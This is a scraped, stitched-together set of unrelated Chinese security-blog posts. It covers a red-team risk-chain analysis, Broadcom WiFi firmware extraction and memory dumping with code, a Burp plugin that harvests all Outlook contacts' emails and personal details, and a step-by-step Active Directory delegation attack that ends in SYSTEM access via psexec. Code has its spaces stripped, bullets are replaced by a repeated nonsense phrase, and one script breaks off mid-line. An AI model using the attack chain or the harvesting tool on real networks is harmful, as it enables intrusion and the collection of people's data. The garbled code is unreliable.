初始態勢感知命令通知評估人員，有三台機器與高風險機器通信。有一台計算機，可能是管理員，正在使用SSH遠程訪問和管理該計算機。此信息可在文件系統中找到。與SSH協議相關的日誌和文件位於計算機上的用戶目錄中，執行history 系統命令的結果中可以看到用戶的活動信息，很明顯是網絡管理員的典型活動。如果沒有CAPTR團隊中使用的本地特權視角，這些信息可能永遠不會被發現，如果已經被發現，這意味著典型的紅隊評估將遠程對多個設備執行漏洞利用，並將運行存在潛在危險的內核級權限提升exp，以便獲得與CAPTR 團隊在開始時所使用的方法看到的相同信息的權限。

評估人員通過在本機執行操作系統命令查看已建立連接的網絡信息表明還存在其他兩個通信對象。一個是訪問Linux服務器託管的80端口上的只讀web文件共享，另一個是訪問21端口上的文件傳輸服務器。進一步檢查後，評估人員確定文件傳輸服務器用於將文件放在Linux服務器上，供其他用戶查看和下載。通過進一步的本地情報收集，評估人員還發現，文件傳輸能力不限於特定位置，如web文件共享目錄，遠程文件傳輸可能會覆蓋通過機器調度機制以超級用戶權限執行的多個未受保護的腳本。

目前，尚未進行任何漏洞利用，我們在不到一天的評估時間內已經有以下極有價值的發現可以報告：

◼使用內核漏洞提升本地權限

◼作為超級用戶執行遠程代碼

-作為超級用戶執行的可寫調度作業的權限配置不當

-無約束的文件傳輸服務器

本地情報分析評估還確定了致命風險項的三個一級通信對象。確定這些目標後，CAPTR團隊繼續進行分析，以確定評估這些主機的順序。這種優先順序對報告也很有價值，稍後將在確定哪些環節最危險時進行報告。這些風險鏈由來源、目的地、通信方法和權限構成。設備之間可能有多個風險鏈。例如，如果管理員的計算機可以通過SSH（作為管理用戶）或文件傳輸（作為非特權用戶）訪問關鍵主機（下圖中的Server），這意味著攻擊者需要在該第一層通信上獲得較少的特權才能攻擊關鍵主機。在繼續完成這個示例的過程中，我提供了一些簡單的優先順序和評估決策點。在現實生活中，每種場景都會對任何攻擊性安全評估施加其獨特的屬性，評估人員的決定可能會以不同的方式推進演練。該場景需要先澄清評估流程，但與流程本身不同的是，所包含的風險決策應作為示例而不是指導，因為它們可能因組織而異。

回到我們的例子。通過對演練範圍內致命危害項高危主機的本地評估我們可以確定的風險鏈如下：

10.0.0.2上的超級用戶可以使用SSH協議作為超級用戶訪問10.0.0.1

10.0.0.3上的非特權用戶可以使用FTP作為非特權用戶訪問10.0.0.1

10.0.0.4上的非特權用戶可以使用HTTP作為非特權用戶訪問10.0.0.1（見下圖）

Untitled(1).png

通信鏈路

第一個風險鏈構成了攻擊關鍵主機Server的最大風險，因為它提供了超級用戶對關鍵主機Server的即時交互訪問。任何能夠破壞該第一層通信的攻擊者都會對Linux服務器造成嚴重威脅。 FTP風險鏈排第二，因為它提供了非特權訪問。但是，它還允許將文件移動到服務器，並且，根據我們對存在的已識別本地權限提升漏洞的了解，這是一條潛在的但更複雜的遠程交互路徑。 HTTP風險鍊是最後一個，因為它允許非特權用戶從特權主機下載數據，是只讀的，需要利用額外的漏洞才能攻擊關鍵主機Server。

全系列文章請查看：https://www.4hou.com/member/dwVJ

HireHackking

Broadcom是全球無線設備的主要供應商之一。由於這些芯片用途廣泛，因此構成了攻擊者的高價值目標，因此，在其中發現的任何漏洞都應視為帶來了很高的風險。在此博客文章中，我記錄了我在Quarkslab實習的情況，其中包括獲取，反轉和Fuzzing固件，以及發現一些新漏洞。

0x00 介紹Broadcom是全球無線設備的主要供應商之一，他們生產帶有43系列標籤的無線芯片，從智能手機到筆記本電腦，智能電視和物聯網設備，你幾乎可以在任何地方找到這些芯片。你可能會在不知道的情況下就使用了它，例如，如果你有戴爾筆記本電腦，則可能正在使用bcm43224或bcm4352卡；如果你擁有iPhone，Mac筆記本，Samsumg手機或Huawei手機等，也可能使用Broadcom WiFi芯片。

由於這些芯片用途廣泛，因此變成了攻擊者的高價值目標，因此，在其中發現的任何漏洞都應視為會帶來很高的風險。

我研究了很長一段時間的Broadcom芯片，將已知漏洞複製並移植到其他易受攻擊的設備，以學習和改進幾種常見的信息安全慣例，在此文章中，我記錄了我的研究過程，包括獲取，逆向和Fuzzing固件，以及分析發現的一些新漏洞。

0x01 關於WLAN和Linux在開始之前，讓我們看一下802.11無線標準。

1997年創建的第一個IEEE 802.11標準[1]標準化了PHY和MAC層，這是最低的兩個OSI層。

對於PHY層，選擇了兩個頻帶：紅外（IR）頻帶和微波頻帶（2.4GHz）；之後，其他標準（例如802.11a [2]）帶來了另一個頻率範圍（5GHz）。

MAC層使用三種類型的幀：管理，數據和控制；802.11標頭幀的幀控製字段標識任何給定幀上的類型。spacer.gif 1584961556518.png

管理幀由MLME（MAC子層管理實體）實體進行管理。根據處理MLME的內核的位置，我們可以得到兩種主要類型的無線芯片實現：SoftMAC（其中MLME在內核驅動程序中運行）和HardMAC（也稱為FullMAC），其中MLME在固件中嵌入在嵌入式固件中。芯片並不是像生活中看到的那麼簡單，存在一些混合實現，例如，探測響應和請求由驅動程序管理，而關聯請求和身份驗證則由芯片的固件處理。

FullMAC設備在功耗和速度方面提供了更好的性能，這就是為什麼它們在智能手機中得到大量使用，並且往往成為市場上使用最多的芯片的原因。它們的主要缺點是限制了用戶發送特定幀或將其設置為監視模式的能力，為此，將需要直接編輯芯片上運行的固件。

從Linux操作系統的角度來看，以上內容為我們提供了無線堆棧中組件的兩種主要佈局：當無線設備是SoftMAC設備時，內核將使用稱為'mac80211'的特定Linux內核模塊（LKM）。該驅動程序公開MLME API以便管理管理幀，否則內核將直接使用硬件驅動程序並將MLME處理卸載到芯片的固件中。

spacer.gif 1584961578973.png

0x02 Broadcom 的bcm43xxx芯片Broadcom bcm43xxx系列同時具有HardMAC和SoftMAC卡。不幸的是，我們找不到所分析所有芯片的所有數據表，賽普拉斯收購Broadcom的“ IoT業務”分支後，已經發布了一些可用的數據表；但是，有些芯片同時集成了WLAN和藍牙函數，例如bcm4339或bcm4330。

分析的所有芯片都將ARM Cortex-M3或ARM Cortex-R4用作非關鍵時間操作的主要MCU，因此我們需要處理兩個類似的指令集：armv7m和armv7r。這些MCU具有一個ROM和一個RAM，其大小取決於芯片組的版本。

所有時間緊迫的操作都由D11內核的Broadcom專有處理器實現，該處理器主要負責PHY層。

這些芯片使用的固件分為兩部分：一部分寫入ROM，不能修改，另一部分由驅動程序上傳到芯片的RAM。這樣，供應商僅通過更改固件的RAM部分就可以為其芯片添加新函數或編寫更新。

1584961611277.png

FullMAC芯片非常有趣，首先如在固件代碼中實現MLME層之前所述，但是它們還提供卸載函數，例如ARP緩存，mDNS，EAPOL等。這些芯片還具有一些硬件加密模塊，可以加密和解密密碼，流量，管理密鑰等。

所有卸載函數都增加了攻擊面，為我們提供了一個不錯的研究空間。

為了與主機（應用處理器）進行通信，b43系列使用了幾種總線接口：USB，SDIO和PCIe。

1584961638947.png

在驅動程序方面，我們可以將bcm43xxx驅動程序集分為兩類：開源和專有。

開源：

马云惹不起马云b43 (reversed from proprietary wl/old SoftMAC/Linux)

马云惹不起马云brcmsmac（SoftMAC/Linux）

马云惹不起马云brcmfmac（FullMAC/Linux）

马云惹不起马云bcmdhd（FullMAC/Android）

專有：

马云惹不起马云broadcom-sta aka'wl'（SoftMAC FullMAC/Linux） spacer.gif 1584961665277.png

“ wl”驅動程序在諸如路由器之類的嵌入式系統上最常用。它通常也用在筆記本電腦上，而筆記本電腦的驅動程序不支持brcmfmac/brcmsmac，例如Dell XPS上的bcm4352芯片。另外，wl驅動程序使用其自己的MLME，不需要LKM'mac80211'處理管理幀，從而為攻擊者擴大了攻擊面。

Broadcom發行的版本通常稱為“混合”驅動程序，因為代碼的主要部分來自兩個已編譯的ELF（在編譯時使用的對象）。為什麼兩個？因為一個用於x86_64體系結構，另一個用於i386。這些對象保存了驅動程序的主要代碼，因此公開了許多Broadcom API的函數。

芯片的固件和wl驅動程序共享許多代碼，因此在一個中發現的漏洞也可能在另一個中存在。

0x03 獲取固件1）第一部分：RAM固件

如前所述，固件分為兩部分。最容易抓住的部分是RAM部分，該部分由驅動程序加載到RAM中，這部分包含主MCU使用的代碼和數據，以及D11內核使用的微代碼。

固件的此部分未簽名，並且使用CRC32校驗和“驗證”完整性。這導致了一些固件修改，以便添加諸如監控器模式之類的函數；例如，SEEMO Lab發布了NEXMON項目[3]，這是一個了不起的框架，用於通過用C編寫補丁來修改這些固件。

在我們的研究中，我們遇到了兩種可能的RAM固件映像格式：第一個也是最常遇到的是沒有特定結構的簡單二進制blob；第二種是TRX格式，在bcm43236芯片上工作時很容易解析。

使用.bin RAM固件時，通常在文件末尾有一個字符串，用於顯示：

马云惹不起马云芯片版本

马云惹不起马云芯片用於主機進行加密狗通信的總線

马云惹不起马云固件提供的函數；p2p，TDLS等

马云惹不起马云固件版本

马云惹不起马云CRC校驗和

马云惹不起马云創建日期。

當使用的驅動程序是brmfmac或bcmdhd時，我們可以直接從主機文件系統獲取RAM固件。在Linux上，我們可以在/lib/firmware/brcm中找到它，在Android上可以在/system/vendor/firmware中找到它。

在其他情況下，它會根據我們使用的系統而有所不同：

1584961691355.png

如果使用的驅動程序是專有wl，我們可以在LKM的.data部分中找到固件的RAM部分，可以使用LIEF輕鬆提取[8]。

wl=lief.parse('wl.ko')

data=wl.get_section('.data')

forsymbolinwl.symbols:

.if'dlarray_'insymbol.name:

.print(symbol.name)

.

dlarray_4352pci

dlarray_4350pci

b4352=wl.get_symbol('dlarray_4352pci')

bcm4352_fw=data.content[b4352.value:b4352.value+b4352.size]

withopen('/tmp/bcm4352_ramfw.bin','wb')asf:

.f.write(bytes(bcm4352_fw))

.

442233

$strings/tmp/bcm4352_ramfw.bin|tail-n1

4352pci-bmac/debug-ag-nodis-aoe-ndoeVersion:6.30.223.0CRC:ff98ca92Date:Sun2013-12-1519:30:36PSTFWID01-9413fb21發布的bcm4352固件最新採用WL上的Linux驅動程序的日期2013年

2）第二部分：ROM簡介

固件的ROM部分是了解這些芯片內部的最重要的部分。

為了拿到ROM部分，我們需要知道它的映射位置。查找基址的最佳方法是讀取驅動程序的頭文件，例如在bcmdhd的頭文件/include/hndsoc.h 中；另一種替代方法是讀取Nexmon項目README，該項目根據我們的MCU型號為我們提供了其他基址，精明的讀者可能會發現這些地址不同。 Nexmon項目指定具有Cortex-M3的芯片的ROM加載為0x800000，bcmdhd的標頭顯示為0x1e000000，兩者都是正確的，似乎ROM和RAM映射了兩次。此外，知道基址可以為我們提供有關所使用的MCU的線索，例如，如果將ROM轉儲到0x000f0000，則表明該芯片正在使用ARM Cortex-R4。

1584961734791.png

3）在Android系統上獲取ROM

在Android上，我們可以使用dhdutil工具，該工具是舊wlctl實用程序的Android開源改進分支，通過使用此工具的“內存字節”函數，我們可以轉儲芯片組的RAM，在某些情況下還可以轉儲ROM。

adbshell/data/local/tmp/dhdutil-iwlan0membytes-r0x00xa0000rom.bin例如，在依賴Cortex-R4的Nexus 5中使用的bcm4339芯片上，ROM被直接轉儲。不幸的是，在較舊的bcm4330（Cortex-M3）上，此函數無效；但是，只要你可以與RAM交互，就可以Hook一個函數，該存根將把ROM逐片複製到RAM中的空區域，之後，我們可以轉儲所有ROM的分片。

spacer.gif 1584961798349.png

4）恢復Linux系統上的ROM

在具有brcmfmac驅動程序的Linux上，我們無法直接訪問ROM。因此，我們需要找到一種直接在ROM或RAM中與芯片內存交互的方法。幸運的是，當芯片使用SDIO總線與主機進行通信時，開源brcmfmac驅動程序將公開brcmf_sdiod_ramrw函數，此函數使我們可以從主機讀取和寫入芯片組的RAM。

如果我們修改驅動程序以便在此函數周圍添加一個ioctl包裝器，則可以從一個很小的userspace實用程序讀取和寫入芯片組的RAM。

在調用brcmf_sdiod_ramrw之前，我們必須調用sdio_claim_host以便回收SDIO總線的利用率；請注意，如果該設備未連接到任何接入點，則該設備可能處於低功耗模式，並且總線可能處於空閒狀態，因此我們需要通過調用bcmf_sdio_bus_sleep和brcmf_sdio_clkctl來確保設備的總線正常運行。

intbrcmf_ioctl_entry(structnet_device*ndev,structifreq*ifr,intcmd)

{

.

sdiobk-alp_only=true;

sdio_claim_host(sdiobk-sdiodev-func[1]);

brcmf_sdio_bus_sleep(sdiobk,false,false);

brcmf_sdio_clkctl(sdiobk,CLK_AVAIL,false);

res=brcmf_sdiod_ramrw(sdiobk-sdiodev,margs-op,margs-addr,buff,margs-len);

if(res)

{

printk(KERN_DEFAULT'[!]Dumpmemfailedforaddr%08x.\n',margs-addr);

sdio_release_host(sdiobk-sdiodev-func[1]);

kfree(buff);

return(-1);

}

if(copy_to_user(margs-buffer,buff,margs-len)!=0)

printk(KERN_DEFAULT'[!]Can'tcopybuffertouserland.\n');

.

}我們需要編寫一個小程序來與用戶領域的ioctl進行交互，有了它，我們能夠讀寫設備RAM：

.

memset(margs,0,sizeof(t_broadmem));

margs.addr=strtol(ar[1],NULL,16);

margs.op=1;

if(errno==ERANGE)

prt_badarg(ar[1]);

len=strtol(ar[2],NULL,10);

if(errno==ERANGE)

prt_badarg(ar[2]);

margs.buffer=hex2byte((unsignedchar*)ar[3],len);

if((s=socket(AF_INET,SOCK_DGRAM,0))0)

return(-1);

strncpy(ifr.ifr_name,ar[0],IFNAMSIZ);

margs.len=len;

ifr.ifr_data=(char*)margs;

if(!(ret=ioctl(s,SIOCDEVPRIVATE,ifr)))

printf('[+]Writesuccesfull!\n');

else

printf('[!]Failedtowrite.\n');

close(s);

free(buf);

return(ret);

.現在我們可以讀寫芯片的RAM，我們可以通過以下方式轉儲ROM：

马云惹不起马云Hook位於RAM中並由動作X調用的函數

马云惹不起马云將ROM逐片複製到RAM中的空白區域

马云惹不起马云轉儲所有新復制的ROM片並將其串聯。

此協議與我們在芯片的MCU是Android上的Cortex-M3時使用的協議相同；但是，這次我們不得不修改驅動程序並構建自己的工具以使用新驅動程序的ioctl。

在RPI3芯片（bcm43430）上工作時，我們選擇了這種方法。

5）在特定情況下獲取ROM部分

還有許多其他可能的方案：

如果你的芯片將brcmfmac驅動程序與PCIe總線一起使用怎麼辦？如果你的芯片使用專有驅動程序“ wl”在嵌入式系統中怎麼辦？如果主機操作系統上沒有shell，該怎麼辦？或者，如果你沒有權限？等等.

在所有其他情況下，你都有幾種可能：如果可以訪問硬件，則可以尋找UART訪問，或者可以掛接wl驅動程序，在“ SFR微型解碼器”（bcm43236）上工作時，我們選擇了UART訪問。

RTE(usbrdl)v5.90(TOB)runningonBCM43235r3@20/96/96MHz.

rdl0:BroadcomUSBRemoteDownloadAdapter

ei1,ebi2,ebo1

RTE(USB-CDC)6.37.14.105(r)onBCM43235r3@20.0/96.0/96.0MHz

000000.007ei1,ebi2,ebo1

000000.054wl0:BroadcomBCM43235802.11WirelessController6.37.14.105(r)

000000.060nodisconnect

000000.064reclaimsection1:Returned91828bytestotheheap

000001.048bcm_rpc_buf_recv_mgn_low:HostVersion:0x6250e69

000001.054ConnectedSession:69!

000001.057revinfo

000063.051rpcuptime1minutes

?

000072.558reboot

000072.559rmwk

000072.561dpcdump

000072.563wlhist

000072.564rpcdump

000072.566md

000072.567mw

000072.569mu

000072.570?

波特率為115200 b/s，命令md允許將內存轉儲到特定地址，你應該指定地址以及要轉儲的DWORD數，有了一個很小的PySerial腳本，我們就能夠轉儲ROM並獲得實時RAM。

#!/usr/bin/envpython3

importserial

importbinascii

nb=65535

baseaddr=0

uart=serial.Serial('/dev/ttyUSB0',115200)

uart.write(b'md0x%08x4%d\n'%(baseaddr,nb))

i=0

dump=b''

whilei!=nb:

read=uart.readline().split(b'')

ifb''inread[0]:

continue

ifb'rpc'inread[2]:

continue

print('Dump%s%s\r'%(read[1][:-1],read[2]),end='')

dump+=binascii.unhexlify(read[

HireHackking

0x01 前言

这是一款burp插件，用于Outlook用户信息收集，在已登录Outlook账号后，可以使用该

插件自动爬取所有联系人的信息

0x02 安装

在burp扩展面板加载jar即可

0x03  功能介绍

1.All Users

加载插件后，进入Outlook联系人面板，点击All Users

0rd5leydagj14758.jpg

在burp中 Proxy -> HTTP history 筛选api接口

/owa/service.svc?action=FindPeople&app=People

ewimompnxx314759.jpg

选中该请求，右键菜单 Extensions -> OutLook information collection -> Do OoutLook Email scan

5wpvhazkckk14760.png

会在 Extender -> Extensions -> OutLook information collection -> Output 中显示扫描进度

hbvmu2uwjqk14761.png

插件会自动爬取所有数据包并生成目录树，可以查看每一个请求响应包

by42nouwjoc14762.jpg

右击该请求会弹出右键菜单，选择获取所有用户邮箱，即可获得所有的邮箱

r32xux1s44s14763.jpgd2tgjgva04414764.jpg

2.注意

该Api会有大量相同url，不同的Post提交参数，如果选错了Api接口，会有弹窗提示

p0fmtfdwu3v14765.jpgx11klyz1npq14766.jpg

3.联系人信息

必须在加载 All Users的所有数据包才能正常使用，联系人信息基于All Users数据包信息，如果未进行第一步操作会有弹窗提醒

2m4dsc4jh5a14767.jpg

在burp中 Proxy -> HTTP history 筛选api接口

/owa/service.svc?action=GetPersona&app=People

mbmpgajfluz14768.jpg

选中该请求，右键菜单 Extensions -> OutLook information collection -> Do OoutLook Email scan

nzeeicgiht214769.png

会在 Extender -> Extensions -> OutLook information collection -> Output 中显示扫描进度

miigd3w4w4414770.jpg

插件会自动爬取所有数据包并生成目录树，可以查看每一个请求响应包

wpflmpg5cza14771.jpg

右击该请求会弹出右键菜单，选择获取 All User个人信息，可获取所有联系人信息

1uilioxkade14772.jpgc1c5fzoj0ap14773.jpg

工具获取：公众号回复关键字“OutLook”

HireHackking

微軟試圖為域用戶提供更大的靈活性，使資源的所有者能夠配置哪些帳戶是可信的，並允許委派給他們。這可以通過修改用於控制目標資源訪問的屬性“ms-DS-AllowedToActOnBehalfOfOtherIdentity”來實現的。具體而言，如果計算機帳戶等資源設置了此屬性，則允許帳戶代表計算機帳戶執行操作。為了能夠修改此屬性，帳戶需要具備該對象的寫入權限，而默認情況下該權限是沒有的。但是，如果可以觸發SYSTEM 帳戶並將身份驗證中繼到Active Directory，則帳戶可能會獲得委派權限，從而充當提升的用戶。

通過基於資源的約束委派提升特權並不是一個新話題，Elad Shamir 和Will Schroeder 過去曾對此進行過討論。此攻擊向量遵循一系列步驟並依賴於用戶服務(S4U) Kerberos 擴展，該擴展使服務（例如CIFS）能夠代表另一個用戶請求和獲取服務票證。通過基於資源的約束委派提權的方法包括以下步驟：

1.發現計算機賬戶配額；

2.啟用WebClient 服務；

3.創建計算機帳戶；

4.NTLM中繼；

5.哈希計算；

6.請求服務票；

7.票證轉換；

8.通過Kerberos 身份驗證訪問；

下圖說明了基於資源的約束委派的步驟：

1.png

尋找計算機賬戶配額默認情況下，域中的用戶最多可以創建10 個計算機帳戶。屬性“ms-DS-MachineAccountQuota”的值定義了可以創建多少個計算機帳戶。從Active Directory 的角度來看，這可以通過查看域屬性中的屬性編輯器來觀察到這一點。

2.png

計算機賬戶配額

但是，可以通過在紅隊操作期間查詢Active Directory 對象來檢索上述值。 SharpView 相當於用C# 開發的PowerView，因此可以直接從植入程序中使用。執行下面的命令將枚舉所有域對象。

3.png

SharpView——域對象

屬性“ms-ds-machineaccountquota”的值將顯示在輸出中。

4-.png

SharpView——計算機賬戶配額

另一種方法是使用StandIn，它只能查詢感興趣的域對象。

4.png

StandIn——計算機賬戶配額對象

“ms-ds-machineaccountquota”的值將顯示在控制台中。

5.png

StandIn——計算機賬戶配額

啟用WebClient 服務在Windows 10、Windows 11等較新版本操作系統中，安裝了web客戶端服務，但默認未啟用。服務的狀態可以通過在PowerShell控制台執行以下操作來獲得。

6.png

WebClient Service – Status

為了使該技術生效，WebDav 服務需要處於運行狀態，因為WebDav 不協商簽名，因此將允許來自當前計算機帳戶的身份驗證中繼。標準用戶沒有權限啟用該服務。 James Forshaw 發布了一個概念證明，它通過觸發自定義ETW 事件來解決此問題，該事件將從標準用戶的角度啟用該服務。

7.png

c++代碼——啟用Web客戶端

將代碼編譯為可執行文件並在目標主機上運行二進製文件以啟用該服務。

8.png

啟用WebClient 服務

在命令提示符中，可以通過執行以下命令查詢服務：

9.png

WebClient服務

創建計算機帳戶如上所述，默認情況下域用戶最多可以創建10 個計算機帳戶。如果提供憑據，可以使用各種工具從加入域的系統和未加入域的系統中創建計算機帳戶。 Ruben Boonen 開發了一個名為StandIn 的.NET 活動目錄後開發工具包，可以從植入程序中使用它來執行與基於資源的約束委派相關的任務，例如創建計算機帳戶。執行以下命令將使用隨機密碼在域上創建一個新的計算機帳戶。

10.png

StandIn——創建計算機帳戶

Impacket 包含一個python 腳本，它可以從非域加入系統創建計算機帳戶。

11.png

Impacket——添加新計算機

另外，這個任務也可以通過PowerShell來執行，因為Kevin Robertson開發的PowerMad模塊包含一個可以創建新計算機帳戶的功能。

Import-Module.\Powermad.psm1

New-MachineAccount-MachineAccountPentestlaboratories-Domainpurple.lab-DomainControllerdc.purple.lab 13.png

PowerMad——新計算機帳戶

如果系統已經針對基於資源的約束委派進行了配置，則可以使用現有的計算機帳戶，而不是使用上述方法之一創建新的計算機帳戶。 StandIn 的“委派”標誌可以顯示所有具有基於資源的受限委派權限的帳戶，包括具有不受約束和受限委派權限的帳戶。

14.png

StandIn——發現為基於資源的受限委派配置的帳戶

NTLM中繼由於已經創建了一個新的計算機帳戶並且Web 客戶端服務正在主機上運行，因此下一步是從Impacket 配置“ntlmrelayx”以進行委派。一旦捕獲了來自合法計算機帳戶的身份驗證，將被轉發到域控制器以通過LDAP 進行身份驗證。由於初始身份驗證將通過HTTP 接收，因此需要在目錄中放置圖像。偽造的計算機賬戶“DESKTOP-Pentestlab$”將成為委派權限的目標。

15.png

Ntlmrelayx——委派訪問

為了強制系統帳戶通過網絡進行身份驗證，NCC 集團開發了接受WebDav 路徑的Change-Lockscreen。為了使身份驗證成功，需要使用主機名而不是IP 地址，因為WebDav 客戶端會在Intranet 區域中自動進行身份驗證。需要注意的是，WebClient 服務將使用更改鎖屏觸發器來啟用，並且可以避免啟用Web 客戶端服務的步驟。

16.png

身份驗證觸發器——Change-LockScreen

計算機帳戶(Hive$) 將通過Kali 實例上的HTTP 進行身份驗證，並將嘗試在隨機路徑上查找圖像。在域控制器上中繼身份驗證後，虛假計算機帳戶(DESKTOP-Pentestlab$) 將獲得對Hive$ 帳戶的委派權限。

17.png

ntlmrelayx ——基於資源的約束委派

如果使用rbcd python 腳本提供域憑據，則該攻擊也可以從未加入的域系統執行，該腳本可自動執行該過程。

18.png

Python 實現——rbcd

與具有委派權限的計算機帳戶對應的值將出現在計算機對象(Hive) 的“msDS-AllowedToActOnBehalfOfOtherIdentify”屬性中。

19.png

Active Directory——基於資源的約束委派

哈希計算從密鑰傳遞中心(KDC) 獲取票證的請求需要密碼的哈希表示而不是純文本值。由於計算機帳戶的密碼是已知的，因此可以使用Rubeus 的“哈希”操作來計算給定密碼的哈希值。

20.png

計算哈希——計算機賬戶

請求服務票證計算機帳戶“DESKTOP-Pentestlab$”具有受約束的委派權限，因此可以使用Rubeus 代表管理員帳戶請求通用Internet 文件系統(CIFS) 的服務票證。這是通過使用用戶服務(S4U) Kerberos 擴展來實現的，該擴展能夠代表用戶請求服務票證。由於將頒發的票證屬於管理員帳戶，因此可用於通過Kerberos 進行身份驗證，以提升的用戶身份訪問主機。將為為委派創建的計算機帳戶(DESKTOP-Pentestlab$) 請求初始票證。

21.png

TGT 請求——計算機賬戶

使用“用戶服務”操作，將向管理員帳戶的當前域控制器的Kerberos 分發中心(KDC) 請求票證。

22.png

管理員TGS

最後使用Kerberos 擴展S4U2proxy 將代表管理員帳戶為CIFS 服務請求票證。應該注意的是，即使請求的票證不會被標記為可轉發，它仍然可以用於訪問服務。

23.png

CIFS 服務票證

上述過程可以通過使用python實用程序“getST”直接從Impacket執行。與Rubeus相比，該工具不需要對計算機帳戶密碼進行散列，而是需要對純文本進行哈希處理。可以通過執行以下命令來請求服務票證：

24.png

CIFS 票證——getST

票證將在當前工作目錄中保存為.ccache。

轉換票證Rubeus 的最終票證授予票證(TGT) 是基於64 編碼的。為了用於Kerberos 身份驗證，票證需要採用.ccache 格式。執行以下命令將解碼票證並將輸出寫入.kirbi 文件。

25.png

Base64 - Kirbi Ticket

Impacket 包含一個python 實用程序，它可以將具有.kirbi 擴展名的Kerberos 票證轉換為.ccache。

26.png

票證轉換器——從kirbi 到ccache

“KRB5CCNAME”環境變量應設置為.ccache 票證的位置，以便在Kerberos 身份驗證期間使用來自緩存的票證。

27.png

環境變量——Kerberos 票證

通過Kerberos 身份驗證訪問獲取屬於管理員帳戶的票證意味著它可用於從更高的角度訪問目標服務。 來自Impacket 的“wmiexec”和“psexec”都支持Kerberos 身份驗證，因此可用於以管理員或系統身份訪問主機，完成權限提升方案。

28.png

Wmiexec——Kerberos 身份驗證

執行“psexec”將在目標主機上創建一個服務，它被認為是不安全的。 但是，它可以通過使用“-k”和“-no-pass”標誌指定管理員帳戶和目標主機來使用Kerberos 身份驗證來執行。

29.png

Psexec——Kerberos 身份驗證

或者僅使用相同的標誌和目標主機。

30.png

psexec——Kerberos 身份驗證